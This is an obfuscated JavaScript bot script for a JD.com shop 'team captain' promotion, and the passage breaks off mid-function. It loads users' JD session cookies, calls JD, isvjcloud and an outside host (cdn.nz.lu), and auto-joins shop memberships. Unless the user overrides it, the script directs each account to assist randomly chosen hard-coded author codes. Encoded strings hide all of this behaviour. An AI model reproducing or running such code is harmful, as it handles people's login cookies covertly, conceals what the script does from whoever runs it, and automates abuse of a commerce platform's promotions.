ZveXI=','S3F5Um0=','dkVpWEY=','dVpKSFc=','WmtsT0Y=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','Ki8q','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','Uk9YSXM=','eWtqQXM=','Z1BOaU8=','Z0labG8=','b2dNb00=','VXlMb0Y=','TkhuWHA=','V0J5QUw=','Q1VNWlE=','Y1pPWG8=','TW9CRmk=','cUl3WHc=','RUtLRGg=','bXlpdVQ=','YXViTlU=','U0tMVVE=','UVNobWw=','ZVFuanI=','QndDbUg=','ZGJLTXE=','V0xUb0c=','bWRqV2w=','V0FhTkg=','bktUdHM=','b0ZpWlU=','TUlhUG8=','YmhJTHY=','TEJHRkI=','TlV4aEM=','a3hNeVk=','TnJHS0g=','bnZaSGg=','SHl6V3Q=','dW1nanU=','c0dQRWM=','c1NJaHo=','YXBpLm0uamQuY29t','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','cHRlTFk=','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','dkVxbFU=','Q3Bheno=','Z2NlWG4=','Q0FIaVQ=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','ckdEakw=','b09JUEI=','YlZibHo=','bnVXcmw=','bHVFa0U=','TFpiS2I=','ZUpzWWY=','eVh3Q2I=','blpUSVk=','U1hGZWQ=','aW50ZXJlc3RzUnVsZUxpc3Q=','aW50ZXJlc3RzSW5mbw==','SlZLZ24=','S3BLY2E=','SHV3ZFY=','enRUbXk=','VkF3QUs=','WFlVSk4=','YW9HYmo=','UXNqRW8=','UGxWRU8=','UUxTdXM=','SG9hU2s=','YmluZFdpdGhWZW5kZXI=','c2pMSEI=','VmtwTGQ=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','aWhwcUM=','cG9PVXM=','bWNUTmg=','Y0tXQko=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','bmJ0dnk=','Q1NRdG4=','bmVhelo=','UEZRQ1E=','Z1JwdXY=','RHNSWmM=','TnBEVVU=','VGFMckg=','U2xsYWg=','aFFqbWg=','WE1HeHA=','Z01rR0Q=','eXBzT3U=','dG11TXo=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','amRzaWduLmV1Lm9yZw==','b25UTHc=','cUpDU2I=','R0dTT0Y=','UW9Wd24=','WHFzTUM=','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','VnBlT0E=','RkZxamI=','c1h6Rlg=','cW5tcEU=','YXBwbHk=','dlFtS3I=','c3VZUGg=','cnNJc2c=','dENpYmk=','YVhBcHI=','VVp3d2I=','TkZzTlc=','aXN2T2JmdXNjYXRvcg==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','T09Dcm4=','elFWWnM=','UEpuREw=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','c0d4RnA=','T1RVUGM=','ekdkWE4=','dHVYdEI=','ZEZOTUU=','a2tRQU0=','YWVlUm0=','dVNLZUE=','TWd6V0Q=','UWJLbGQ=','ZERaV24=','ZXF1emM=','VGVPTXo=','TFZxdkk=','V0dQT3I=','ckx6TUw=','cmZSdk4=','dUpOckk=','Wk5Tb0Q=','bkpBYkI=','U2pUQ2Y=','SnVBa3k=','Z3hIVXE=','Y0lrc0g=','ckZFcVI=','dE1VcUg=','b1JwQWs=','WGZ1QmQ=','SlBhVHM=','Q1RYWVU=','dEdmSnE=','cVFyblc=','SlhvT2E=','WGFLR2M=','Z1BYWXc=','TUhJWmo=','Y3lnc2U=','S29GT2s=','WktSa1c=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','Z0l0amQ=','dmtPcXk=','VHNjSmw=','TGFTSE4=','TG9xbEI=','dURPeFU=','WmJUU2g=','UEJva1M=','ZGd3cWg=','aXNOb2Rl','Li9qZENvb2tpZS5qcw==','Li9zZW5kTm90aWZ5','MTQ5NzYxOWY4MmM0NDA4NWJlNWJlZGQ3YmY3MGVmYzA=','MTAwMDAxNDQ4Ng==','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llc0pE','cGFyc2U=','bWFw','Y29va2ll','cmV2ZXJzZQ==','Q29va2llSkQy','Q29va2llSkQ=','ZmlsdGVy','aGVhZGVycw==','U2V0LUNvb2tpZQ==','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','N2Y4YzczMzY1NTljNGY1ZThkZWFhMTc3MjQwMDQxZTY=','ZmJlMzFhNmU0MzFhNDg0OTk5MTc2OTRlYmFhYmJhZjE=','YzhkNWNhZGFhMjM1NDk4MWFkNjA3MGE3MDFiMmFiYWQ=','OGUyZDZiNTg2N2Y0NDhjNDk1YjgwYzgzZDZlMTE0NDQ=','N2QwMjk3YTM0ZTU5NDdlODhmMDZhMmNjYWNhYzlkYjU=','MDg3YWIyOWJkNDI1NGJiMDkzMTljYTRhZmNhNjQ0OGI=','ZmU1YTVmYTJlODEwNDkyZWE2ZDUwOWZmNzUyNTgyM2E=','ZWUwYTA4ODc2OGZiNDg4MGE4ZGE0ZmU4YmQ4OWU1ODU=','MGRkZDFmY2NlYmM1NGE0Y2JmYzM5Zjg4NzQxZDg5Yjg=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','YWN0aXZpdHlJZA==','YWN0aXZpdHlTaG9wSWQ=','5bey5piv5Lya5ZGYLOi3s+i/hw==','SldsU2Y=','bXNn','bmFtZQ==','RUJjdXc=','UkJGY3g=','Z2V0QXV0aG9yQ29kZUxpc3RlcnI=','TkN3REU=','bGVuZ3Ro','VXNlck5hbWU=','T0xiSFA=','bWF0Y2g=','aW5kZXg=','dER6SkM=','aXNMb2dpbg==','bmlja05hbWU=','blhZSVA=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','VHh5c2I=','eEZzSEk=','VXppUXk=','Vk1PeVI=','d0Jjc0Y=','dElFUmE=','R1JkbkU=','dkxsakc=','eFBFSUk=','YmVhbg==','QURJRA==','UVZQZm0=','c0h2cGI=','VVVJRA==','ZGVEZnI=','YXV0aG9yQ29kZQ==','YXV0aG9yTnVt','Y3JHeGk=','WUptdUo=','Y1RydnI=','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vcG9vbC9jYXB0YWluLw==','P2FjdGl2aXR5SWQ9MTQ5NzYxOWY4MmM0NDA4NWJlNWJlZGQ3YmY3MGVmYzAmc2lnblV1aWQ9','JnNoYXJldXNlcmlkNG1pbmlwZz0=','c3FnT20=','c2VjcmV0UGlu','JnNob3BpZD0xMDAwMDE0ODAzJnNpZD0mdW5fYXJlYT0=','dFVKVEY=','b3BlbkNhcmRTdGF0dXM=','eFhhc0k=','bmxjREQ=','SWVUaHc=','QnFzZHk=','RHBJWko=','b0xRWHM=','ZXVWeFg=','c3BsaXQ=','d2FpdA==','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','T25HT2U=','5Y675Yqp5YqbIC0+IA==','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','YWN0aXZpdHlDb250ZW50','dFpQUmE=','5Yqg5YWl6Zif5LyN5oiQ5Yqf77yM6K+3562J5b6F6Zif6ZW/55Oc5YiG5Lqs6LGG','c2F2ZUNhbmRpZGF0ZQ==','S3lwZHE=','5Yqg5YWl5bqX6ZO65Lya5ZGY5oiQ5Yqf','5Yib5bu66Zif5LyN','c2F2ZUNhcHRhaW4=','Q2VRZnc=','UHpndks=','5L2g5bey57uP5piv6Zif6ZW/5LqG','5peg5rOV5Yqg5YWl6Zif5LyN','5pyq6IO95oiQ5Yqf6I635Y+W5Yiw5rS75Yqo5L+h5oGv','aHJ4cHQ=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','bVZHVkQ=','WXRzS2o=','WXZieWU=','Z25VdHU=','QkNRQ1M=','WERBVGc=','R0lkTFI=','aVZySmw=','VVdFQVQ=','dmVuZGVySWQ9MTAwMDAxNDgwMyZjb2RlPTk5JnBpbj0=','aFBwbGw=','JmFjdGl2aXR5SWQ9MTQ5NzYxOWY4MmM0NDA4NWJlNWJlZGQ3YmY3MGVmYzAmcGFnZVVybD0=','JnN1YlR5cGU9YXBwJmFkU291cmNlPW51bGw=','c3JLdkg=','a0Jsb3I=','YWN0aXZpdHlJZD0xNDk3NjE5ZjgyYzQ0MDg1YmU1YmVkZDdiZjcwZWZjMCZwaW49','JnNpZ25VdWlkPQ==','Y2FuSm9pbg==','S05qWlo=','d3lPZ2c=','U2t2SWM=','UU9kb0k=','U1RPZ24=','U0JHaGw=','JnBpbkltZz0=','TlBaTFc=','aHR0cHM6Ly9pbWcxMC4zNjBidXlpbWcuY29tL2ltZ3pvbmUvamZzL3QxLzIxMzgzLzIvNjYzMy8zODc5LzVjNTEzOGQ4RTA5NjdjY2YyLzkxZGE1N2M1ZTIxNjYwMDUuanBn','b3BlbkNhcmQ=','UkNmRmY=','QXRGcmg=','YmluZFdpdGhWZW5kZXJtZXNzYWdl','TVlJbnI=','b0JyeXY=','Y2FuQ3JlYXRl','QnlnZVg=','ZGh6UnQ=','SUNVUFY=','aGFGbmE=','b3Nrc0Y=','VUxRWnI=','bU5sd2Y=','cVBGZW4=','bHVWVkY=','c2lnblV1aWQ=','cW5SRXc=','VFV3Zkg=','T2hOQWY=','WldkZEQ=','RXpoUEQ=','MXwyfDB8M3w0','NDAx','cVNOd24=','b3BlbkNhcmRBY3Rpdml0eUlk','bENkVGU=','cVBXVHo=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','QXdudFE=','SmxjRkg=','UVJQdkU=','c25Sb3g=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','ZGhXaWs=','bExSbnQ=','Z2V0','WVVkaEU=','cnNlV2s=','akZQYno=','dFFYTUc=','bEpLck0=','b3hxUFE=','SnpOQ2Y=','QlFFTm8=','TGZpd0Y=','bG9nRXJy','WkdRdHc=','5Yib5bu66Zif5LyN5oiQ5Yqf','eVRVbnA=','ZXhxcGQ=','QmVlSUs=','Rkxzb1Y=','U05pcVg=','dXBkYXRlQ2FwdGFpbg==','d3hBY3Rpb25Db21tb24vZ2V0VXNlckluZm8=','S2J2SWs=','TVFZeVY=','aHR0cHM6Ly9pbWcxMC4zNjBidXlpbWcuY29tL2ltZ3pvbmUvamZzL3QxLzcwMjAvMjcvMTM1MTEvNjE0Mi81YzUxMzhkOEU0ZGYyZTc2NC81YTEyMTZhM2E1MDQzYzVkLnBuZw==','SXpFckU=','cG9zdA==','cVBkdU8=','Y0tOV3Q=','VlFPZVQ=','VW9PT20=','WGluQ00=','V2p2Q1o=','cmVzdWx0','emRoTHA=','dVBkVHc=','dm1WQ0E=','RFBYcG8=','ZGF0YQ==','QlNub2w=','SUpPWmE=','dnlLcWg=','5L2g5aW977ya','bmlja25hbWU=','cGlu','O0FVVEhfQ19VU0VSPQ==','RUxyZkM=','YWN0b3JVdWlk','aEdXZGg=','SkJhbEc=','THVZQWc=','eXVuTWlkSW1hZ2VVcmw=','bVhYZk8=','RW5XRHI=','RWtnUVo=','bEd0YXg=','cGluSW1n','T2hUTWI=','c3RyaW5naWZ5','QVNGQWk=','dXVwVlU=','bHRrc2w=','Tm5aVVg=','bHpramR6LWlzdi5pc3ZqY2xvdWQuY29t','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb21t','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20v','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vcG9vbC8=','eGpHWko=','Q2hwb0c=','VURxelg=','VEpleUk=','RmRqR3g=','eHBFTm4=','bE1OZFo=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','dmpJZmo=','eGJXelQ=','bHhNRmc=','UnFIWXE=','UFVGUVY=','dHVRaVQ=','c2V0LWNvb2tpZQ==','d1pxTUg=','dUtMQlQ=','bGJ5eUc=','c2puckM=','TG5GQUY=','dWtzZU4=','RmdwQ0I=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vY3VzdG9tZXIvZ2V0TXlQaW5n','QUpBWVg=','ZGNHY2k=','RGVqTmY=','dWtKSXI=','aU5PWGU=','TnNJZW8=','b3Bmb0Y=','R1pJbGw=','dXNlcklkPTEwMDAwMTQ4MDMmdG9rZW49','hjsjtUZiaFZmVbrirxT.pcnLom.v6=='];if(function(_0x3f6a4c,_0x5a9af4,_0x24debb){function _0x566f9d(_0x4e77a2,_0x307755,_0x543e06,_0x16955c,_0x531a92,_0x1530cb){_0x307755=_0x307755>>0x8,_0x531a92='po';var _0x4bb85b='shift',_0x13f0ba='push',_0x1530cb='‮';if(_0x307755<_0x4e77a2){while(--_0x4e77a2){_0x16955c=_0x3f6a4c[_0x4bb85b]();if(_0x307755===_0x4e77a2&&_0x1530cb==='‮'&&_0x1530cb['length']===0x1){_0x307755=_0x16955c,_0x543e06=_0x3f6a4c[_0x531a92+'p']();}else if(_0x307755&&_0x543e06['replace'](/[htUZFZVbrrxTpnL=]/g,'')===_0x307755){_0x3f6a4c[_0x13f0ba](_0x16955c);}}_0x3f6a4c[_0x13f0ba](_0x3f6a4c[_0x4bb85b]());}return 0x1007c4;};return _0x566f9d(++_0x5a9af4,_0x24debb)>>_0x5a9af4^_0x24debb;}(_0x5ec0,0x123,0x12300),_0x5ec0){_0xod8_=_0x5ec0['length']^0x123;};function _0x551f(_0x25e28d,_0x3de66b){_0x25e28d=~~'0x'['concat'](_0x25e28d['slice'](0x1));var _0x121b9a=_0x5ec0[_0x25e28d];if(_0x551f['ggfKLg']===undefined&&'‮'['length']===0x1){(function(){var _0x62069d=function(){var _0x15eae7;try{_0x15eae7=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x38fa56){_0x15eae7=window;}return _0x15eae7;};var _0x1ba864=_0x62069d();var _0x2db9df='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1ba864['atob']||(_0x1ba864['atob']=function(_0x116daf){var _0x944d19=String(_0x116daf)['replace'](/=+$/,'');for(var _0x3684a9=0x0,_0x5b04ab,_0x15338e,_0x2af018=0x0,_0x35b9e7='';_0x15338e=_0x944d19['charAt'](_0x2af018++);~_0x15338e&&(_0x5b04ab=_0x3684a9%0x4?_0x5b04ab*0x40+_0x15338e:_0x15338e,_0x3684a9++%0x4)?_0x35b9e7+=String['fromCharCode'](0xff&_0x5b04ab>>(-0x2*_0x3684a9&0x6)):0x0){_0x15338e=_0x2db9df['indexOf'](_0x15338e);}return _0x35b9e7;});}());_0x551f['TwNZad']=function(_0x4bf3f9){var _0x5687d0=atob(_0x4bf3f9);var _0x3ba6ab=[];for(var _0x191e40=0x0,_0x1c26a5=_0x5687d0['length'];_0x191e40<_0x1c26a5;_0x191e40++){_0x3ba6ab+='%'+('00'+_0x5687d0['charCodeAt'](_0x191e40)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x3ba6ab);};_0x551f['SaCqZq']={};_0x551f['ggfKLg']=!![];}var _0x1550c7=_0x551f['SaCqZq'][_0x25e28d];if(_0x1550c7===undefined){_0x121b9a=_0x551f['TwNZad'](_0x121b9a);_0x551f['SaCqZq'][_0x25e28d]=_0x121b9a;}else{_0x121b9a=_0x1550c7;}return _0x121b9a;};const jdCookieNode=$[_0x551f('‮0')]()?require(_0x551f('‫1')):'';const notify=$[_0x551f('‮0')]()?require(_0x551f('‮2')):'';let cookiesArr=[],cookie='',message='';let ownCode=null;let helpNum=0x0;let activityList=[{'activityId':_0x551f('‫3'),'activityShopId':_0x551f('‮4'),'activityName':'安佳','updateCaptainNum':'20'}];let activityNum=0x0;if($[_0x551f('‮0')]()){Object[_0x551f('‫5')](jdCookieNode)[_0x551f('‮6')](_0x6cd91d=>{cookiesArr[_0x551f('‫7')](jdCookieNode[_0x6cd91d]);});if(process[_0x551f('‫8')][_0x551f('‫9')]&&process[_0x551f('‫8')][_0x551f('‫9')]===_0x551f('‫a'))console[_0x551f('‫b')]=()=>{};}else{let cookiesData=$[_0x551f('‫c')](_0x551f('‫d'))||'[]';cookiesData=JSON[_0x551f('‫e')](cookiesData);cookiesArr=cookiesData[_0x551f('‫f')](_0x411a17=>_0x411a17[_0x551f('‮10')]);cookiesArr[_0x551f('‫11')]();cookiesArr[_0x551f('‫7')](...[$[_0x551f('‫c')](_0x551f('‫12')),$[_0x551f('‫c')](_0x551f('‫13'))]);cookiesArr[_0x551f('‫11')]();cookiesArr=cookiesArr[_0x551f('‫14')](_0x29ed59=>!!_0x29ed59);}!(async()=>{var _0x3b7b7c={'oLQXs':_0x551f('‮15'),'euVxX':_0x551f('‫16'),'EBcuw':_0x551f('‮17'),'RBFcx':_0x551f('‫18'),'NCwDE':function(_0x23e383,_0x39f75a){return _0x23e383<_0x39f75a;},'OLbHP':function(_0x3e6ff4,_0x10bee2){return _0x3e6ff4(_0x10bee2);},'tDzJC':function(_0xa9363d,_0x467cdc){return _0xa9363d+_0x467cdc;},'nXYIP':function(_0x36a2d3){return _0x36a2d3();},'Txysb':_0x551f('‫19'),'xFsHI':_0x551f('‫1a'),'UziQy':_0x551f('‫1b'),'VMOyR':_0x551f('‫1c'),'wBcsF':_0x551f('‫1d'),'tIERa':_0x551f('‮1e'),'GRdnE':_0x551f('‫1f'),'vLljG':_0x551f('‮20'),'xPEII':_0x551f('‫21'),'QVPfm':function(_0x20f5be,_0x4331d4,_0x26ec88){return _0x20f5be(_0x4331d4,_0x26ec88);},'sHvpb':_0x551f('‫22'),'deDfr':_0x551f('‮23'),'crGxi':function(_0x44c038,_0x55c905,_0x51d95d){return _0x44c038(_0x55c905,_0x51d95d);},'YJmuJ':_0x551f('‫24'),'cTrvr':_0x551f('‫25'),'sqgOm':function(_0x4ba81f,_0x120e40){return _0x4ba81f(_0x120e40);},'tUJTF':function(_0x50e9c3,_0x371c68){return _0x50e9c3===_0x371c68;},'xXasI':function(_0x4dbf26,_0xfbb196){return _0x4dbf26!=_0xfbb196;},'nlcDD':_0x551f('‮26'),'IeThw':function(_0x1c6be6,_0x20e978){return _0x1c6be6>=_0x20e978;},'Bqsdy':function(_0x206311,_0x2390a0){return _0x206311===_0x2390a0;},'DpIZJ':_0x551f('‫27')};if(!cookiesArr[0x0]){$[_0x551f('‫28')]($[_0x551f('‫29')],_0x3b7b7c[_0x551f('‮2a')],_0x3b7b7c[_0x551f('‮2b')],{'open-url':_0x3b7b7c[_0x551f('‮2b')]});return;}$[_0x551f('‮2c')]=![];console[_0x551f('‫b')](activityList[activityNum]);for(let _0xe8283a=0x0;_0x3b7b7c[_0x551f('‮2d')](_0xe8283a,cookiesArr[_0x551f('‫2e')]);_0xe8283a++){if(cookiesArr[_0xe8283a]){cookie=cookiesArr[_0xe8283a];originCookie=cookiesArr[_0xe8283a];newCookie='';$[_0x551f('‮2f')]=_0x3b7b7c[_0x551f('‮30')](decodeURIComponent,cookie[_0x551f('‮31')](/pt_pin=(.+?);/)&&cookie[_0x551f('‮31')](/pt_pin=(.+?);/)[0x1]);$[_0x551f('‫32')]=_0x3b7b7c[_0x551f('‮33')](_0xe8283a,0x1);$[_0x551f('‫34')]=!![];$[_0x551f('‫35')]='';await _0x3b7b7c[_0x551f('‫36')](checkCookie);console[_0x551f('‫b')](_0x551f('‮37')+$[_0x551f('‫32')]+'】'+($[_0x551f('‫35')]||$[_0x551f('‮2f')])+_0x551f('‫38'));if(!$[_0x551f('‫34')]){$[_0x551f('‫28')]($[_0x551f('‫29')],_0x551f('‮39'),_0x551f('‫3a')+$[_0x551f('‫32')]+'\x20'+($[_0x551f('‫35')]||$[_0x551f('‮2f')])+_0x551f('‫3b'),{'open-url':_0x3b7b7c[_0x551f('‮2b')]});if($[_0x551f('‮0')]()){}continue;}authorCodeList=[_0x3b7b7c[_0x551f('‫3c')],_0x3b7b7c[_0x551f('‫3d')],_0x3b7b7c[_0x551f('‫3e')],_0x3b7b7c[_0x551f('‫3f')],_0x3b7b7c[_0x551f('‫40')],_0x3b7b7c[_0x551f('‮41')],_0x3b7b7c[_0x551f('‫42')],_0x3b7b7c[_0x551f('‮43')],_0x3b7b7c[_0x551f('‫44')]];$[_0x551f('‫45')]=0x0;$[_0x551f('‫46')]=_0x3b7b7c[_0x551f('‫47')](getUUID,_0x3b7b7c[_0x551f('‮48')],0x1);$[_0x551f('‮49')]=_0x3b7b7c[_0x551f('‮30')](getUUID,_0x3b7b7c[_0x551f('‮4a')]);$[_0x551f('‫4b')]=ownCode?ownCode:authorCodeList[_0x3b7b7c[_0x551f('‫47')](random,0x0,authorCodeList[_0x551f('‫2e')])];$[_0x551f('‮4c')]=''+_0x3b7b7c[_0x551f('‫4d')](random,0xf4240,0x98967f);$[_0x551f('‫24')]=activityList[activityNum][_0x3b7b7c[_0x551f('‫4e')]];$[_0x551f('‫25')]=activityList[activityNum][_0x3b7b7c[_0x551f('‫4f')]];$[_0x551f('‫50')]=_0x551f('‮51')+$[_0x551f('‮4c')]+_0x551f('‮52')+_0x3b7b7c[_0x551f('‮30')](encodeURIComponent,$[_0x551f('‫4b')])+_0x551f('‫53')+_0x3b7b7c[_0x551f('‮54')](encodeURIComponent,$[_0x551f('‮55')])+_0x551f('‫56');await _0x3b7b7c[_0x551f('‫36')](openCard);if(_0x3b7b7c[_0x551f('‫57')]($[_0x551f('‮58')],0x1)&&_0x3b7b7c[_0x551f('‫59')]($[_0x551f('‫32')],0x1)){console[_0x551f('‫b')](_0x3b7b7c[_0x551f('‫5a')]);}else{await _0x3b7b7c[_0x551f('‫36')](rush);}console[_0x551f('‫b')](helpNum);if(_0x3b7b7c[_0x551f('‫5b')](helpNum,0x50)){if(_0x3b7b7c[_0x551f('‮5c')](_0x3b7b7c[_0x551f('‫5d')],_0x3b7b7c[_0x551f('‫5d')])){break;}else{for(let _0x50fb5c of resp[_0x3b7b7c[_0x551f('‮5e')]][_0x3b7b7c[_0x551f('‫5f')]][_0x551f('‫60')](',')){cookie=''+cookie+_0x50fb5c[_0x551f('‫60')](';')[0x0]+';';}}}await $[_0x551f('‮61')](0xbb8);}}})()[_0x551f('‫62')](_0x22a7f3=>{$[_0x551f('‫b')]('','❌\x20'+$[_0x551f('‫29')]+_0x551f('‮63')+_0x22a7f3+'!','');})[_0x551f('‮64')](()=>{$[_0x551f('‫65')]();});async function rush(){var _0x1793b5={'mVGVD':function(_0x532429){return _0x532429();},'YtsKj':function(_0x19b0e5){return _0x19b0e5();},'Yvbye':function(_0x43e526){return _0x43e526();},'gnUtu':function(_0x49ab50,_0x10a3c7){return _0x49ab50!==_0x10a3c7;},'BCQCS':_0x551f('‫66'),'XDATg':function(_0x359b70,_0x7abc0e){return _0x359b70+_0x7abc0e;},'GIdLR':_0x551f('‮67'),'iVrJl':function(_0x3d829d,_0x18d91f,_0x3ba814,_0x2fd7cf){return _0x3d829d(_0x18d91f,_0x3ba814,_0x2fd7cf);},'UWEAT':_0x551f('‮68'),'hPpll':function(_0x530c48,_0x42ea01){return _0x530c48(_0x42ea01);},'srKvH':function(_0x1918cd,_0x5628ad,_0xcef5f5){return _0x1918cd(_0x5628ad,_0xcef5f5);},'kBlor':_0x551f('‮69'),'KNjZZ':function(_0x44d19a,_0x1e7f45){return _0x44d19a===_0x1e7f45;},'wyOgg':_0x551f('‮6a'),'SkvIc':_0x551f('‮6b'),'QOdoI':_0x551f('‮6c'),'STOgn':function(_0x1f8dbb,_0x4170b1){return _0x1f8dbb(_0x4170b1);},'SBGhl':function(_0x4535f8,_0xc052e0){return _0x4535f8(_0xc052e0);},'NPZLW':function(_0x13dde7,_0x309bfd){return _0x13dde7(_0x309bfd);},'RCfFf':_0x551f('‮6d'),'AtFrh':function(_0x466acc,_0x46caf9){return _0x466acc==_0x46caf9;},'MYInr':_0x551f('‮6e'),'oBryv':function(_0xfdbbea,_0x16d33b,_0x18ffdb,_0x3b7754,_0x431556){return _0xfdbbea(_0x16d33b,_0x18ffdb,_0x3b7754,_0x431556);},'BygeX':_0x551f('‫6f'),'dhzRt':_0x551f('‮70'),'ICUPV':function(_0x37d6b1,_0x5261c0){return _0x37d6b1(_0x5261c0);},'haFna':function(_0xa861ce,_0x22fd60){return _0xa861ce!==_0x22fd60;},'osksF':_0x551f('‮71'),'ULQZr':function(_0x347cc5,_0x518a03){return _0x347cc5===_0x518a03;},'mNlwf':function(_0x58518b,_0x12bd7b){return _0x58518b===_0x12bd7b;},'qPFen':_0x551f('‫72'),'luVVF':_0x551f('‫73'),'qnREw':_0x551f('‫74'),'TUwfH':_0x551f('‫75'),'OhNAf':_0x551f('‮76'),'ZWddD':_0x551f('‫77'),'EzhPD':_0x551f('‫78')};$[_0x551f('‫79')]=null;$[_0x551f('‮55')]=null;await _0x1793b5[_0x551f('‮7a')](getFirstLZCK);await _0x1793b5[_0x551f('‮7b')](getToken);if($[_0x551f('‫79')]){await _0x1793b5[_0x551f('‮7c')](getMyPing);if($[_0x551f('‮55')]){if(_0x1793b5[_0x551f('‮7d')](_0x1793b5[_0x551f('‮7e')],_0x1793b5[_0x551f('‮7e')])){$[_0x551f('‫b')](err);}else{console[_0x551f('‫b')](_0x1793b5[_0x551f('‫7f')](_0x1793b5[_0x551f('‮80')],$[_0x551f('‫4b')]));await _0x1793b5[_0x551f('‫81')](task,_0x1793b5[_0x551f('‫82')],_0x551f('‫83')+_0x1793b5[_0x551f('‮84')](encodeURIComponent,$[_0x551f('‮55')])+_0x551f('‮85')+$[_0x551f('‫50')]+_0x551f('‫86'),0x1);await _0x1793b5[_0x551f('‮87')](task,_0x1793b5[_0x551f('‮88')],_0x551f('‮89')+_0x1793b5[_0x551f('‮84')](encodeURIComponent,$[_0x551f('‮55')])+_0x551f('‫8a')+_0x1793b5[_0x551f('‮84')](encodeURIComponent,$[_0x551f('‫4b')]));if($[_0x551f('‮69')]){console[_0x551f('‫b')]($[_0x551f('‮69')][_0x551f('‮8b')]);if($[_0x551f('‮69')][_0x551f('‮8b')]){if(_0x1793b5[_0x551f('‫8c')](_0x1793b5[_0x551f('‮8d')],_0x1793b5[_0x551f('‮8d')])){$[_0x551f('‫b')](_0x1793b5[_0x551f('‫8e')]);await 